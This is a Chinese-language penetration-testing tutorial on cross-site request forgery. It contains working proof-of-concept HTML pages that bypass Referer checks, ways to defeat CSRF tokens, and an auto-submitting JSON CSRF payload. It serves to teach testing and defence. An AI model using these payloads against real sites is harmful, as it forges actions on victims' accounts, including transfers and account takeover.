0x00 介绍
CSRF通过伪装来自受信任用户的请求发送给对应的网站,执行一些用户不知情的非法操作。
主要是利用受害者尚未失效的身份认证信息(用户登录的唯一标识例如: cookie 中的 session_id, SSO单点登录返回的sso_token),诱骗用户点击恶意链接或是用户直接访问包含攻击代码的页面,在用户完全不知情的情况下以受害者的身份认证信息向服务器发起请求,从而在用户无感知的情况完成非法操作
例如说:
- CSRF 绑定攻击者手机号码,导致用户密码给重置
- CSRF 进行转账
- CSRF 与只能对自己使用的XSS,形成XSRF
等等等等。。。
0x01 CSRF攻击原理与过程
- 用户A打开浏览器,访问要登录的网站A,输入用户名与密码以后登录网站A
- 网站A接收到帐号密码以后,通过验证,网站A设置了Cookie返回给浏览器,声明登录网站A成功,可以正常发送请求到网站A
- 在用户登录凭证未失效之前,在同一个浏览器,用户打开了一个新页面访问了攻击者的页面(后面统称为网站B)
- 网站B打开以后,发出一个请求到网站A(这个请求就例如是:转账请求)
- 浏览器就根据网站B的请求,在用户不知情的情况下携带着用户的登录凭证(例如:cookie),向网站A发出请求。网站A没有验证请求是从哪里发起的,所以就根据用户A的用户信息处理该请求,导致了来自网站B的恶意代码成功执行
0x02 漏洞出处
一般是用户登录以后才有CSRF意义,因为没有目的的csrf是无意义的
CSRF根据经验来说存在于任何增删改操作中
一般比较有危害的地方:
- 账号接管:手机绑定,邮箱绑定,第三方帐户关联,密码修改
- 冒充身份-前台:投票/关注/转发/增删改文章操作 等等。。。
- 冒充身份-后台:删除文件/更改配置/增删改查账户/增删改查网站信息 等等。。。
等等等等。。。
0x03 CSRF防护绕过-带POC
目前来说,我见过的防护手段是两种
- Referer验证
- csrf-token验证
Referer验证绕过
方法一:空referer绕过
利用方法1: html meta标签
html名称:csrf-test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="referrer" content="never">
<title>csrf-test</title>
</head>
<body>
<form action="http://baidu.com" method="post">
<input type="text" name="test-1" value="1">
<input type="text" name="test-2" value="2">
<input type="text" name="test-3" value="3">
<input type="submit" id="submit" value="Go">
</form>
</body>
<script>
document.getElementById("submit").click();
</script>
</html>
建立这么一个html,然后发给受害者打开例如:http:atest.com/csrf-test.html
受害者打开以后就会发送一个post请求到百度
利用方法2: 利用data:协议
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gYWN0aW9uPSJodHRwOi8vYmFpZHUuY29tIiBtZXRob2Q9InBvc3QiPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZXN0LTEiIHZhbHVlPSIxIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVzdC0yIiB2YWx1ZT0iMiI+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRlc3QtMyIgdmFsdWU9IjMiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJzdWJtaXQiIHZhbHVlPSJHbyI+CiAgPC9mb3JtPgo8c2NyaXB0PgogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN1Ym1pdCIpLmNsaWNrKCk7Cjwvc2NyaXB0Pg==">
</body>
</html>
base64: PGZvcm0gYWN0aW9uPSJodHRwOi8vYmFpZHUuY29tIiBtZXRob2Q9InBvc3QiPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0ZXN0LTEiIHZhbHVlPSIxIj4KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVzdC0yIiB2YWx1ZT0iMiI+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRlc3QtMyIgdmFsdWU9IjMiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJzdWJtaXQiIHZhbHVlPSJHbyI+CiAgPC9mb3JtPgo8c2NyaXB0PgogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN1Ym1pdCIpLmNsaWNrKCk7Cjwvc2NyaXB0Pg==
解码以后的内容:
<form action="http://baidu.com" method="post">
<input type="text" name="test-1" value="1">
<input type="text" name="test-2" value="2">
<input type="text" name="test-3" value="3">
<input type="submit" id="submit" value="Go">
</form>
<script>
document.getElementById("submit").click();
</script>
利用方法3: 利用https协议
例如攻击者网站是:https://atest.com
被攻击者的网站为:http://btest.com
那么这时候就可以使用此方法了因为https向http跳转的时候Referer为空
页面名称:test.html
<html>
<body>
<iframe src="https://atest.com/csrf.html">
</body>
</html>
页面名称:csrf.html 代码
<html>
<body>
<form action="http://btest.com" method="post">
<input type="text" name="test-1" value="1">
<input type="text" name="test-2" value="2">
<input type="text" name="test-3" value="3">
<input type="submit" id="submit" value="Go">
</form>
</body>
</html>
<script>
document.getElementById("submit").click();
</script>
攻击者构造链接: https://atest.com/test.html 发送给受害者打开即可
方法二:其他方式绕过
有很多情况是这样的
例如人家网站域名是: http://btest.com
验证的referer验证的是:*.btest.com
就可以通过验证
那么你就可以这样绕过
绕过方法1
referer=http://自己的域名.com/btest.com.html
绕过方法2
referer=http://btest.com.自己的域名.com/csrf.html
绕过方法3
很多是子域名之间可以任意发送请求的
所以假如攻击者要攻击的站点是: http://a.btest.com
那么攻击者可以尝试找找http://b.btest.com的xss然后伪造请求发送给 http://a.btest.com
然后这时请求发送给http://a.btest.com时接收到的referer就可能是=http://b.btest.com/xxxx/xxx.html
CSRF-TOKEN验证
绕过方法1-删除令牌
删除http请求包中的带csrf-token的参数
绕过方法2-令牌共享
创建两个用户,替换两个用户的token测试是否可以相互使用
绕过方法3-窃取token
URL重定向攻击
把带有csrf-token的链接跳转到攻击者的服务器上面,攻击者在通过这个csrf-token构造请求进行攻击
XSS攻击
这个很好理解,你都可以在在被攻击者的网站上面执行js了,那么利用js获取用户的csrf-token 也是简简单单的事情
0x04 JSON_CSRF 请求构造方法
有的时候你会发现你要csrf的网站是json格式的那么这个时候你就要使用这个payload
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxx.com/csrf" method="POST" enctype="text/plain">
<input type="hidden" name='{"data":"我是数据","address":"' value='"}' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
最终发送的 json 就是 {"data":"我是数据","address":"="}
因为 input框 的组成方式就是 name=value 这种格式所以肯定会在最后带一个 =
添加 value='"}'
是为了闭合 json 防止爆错 ~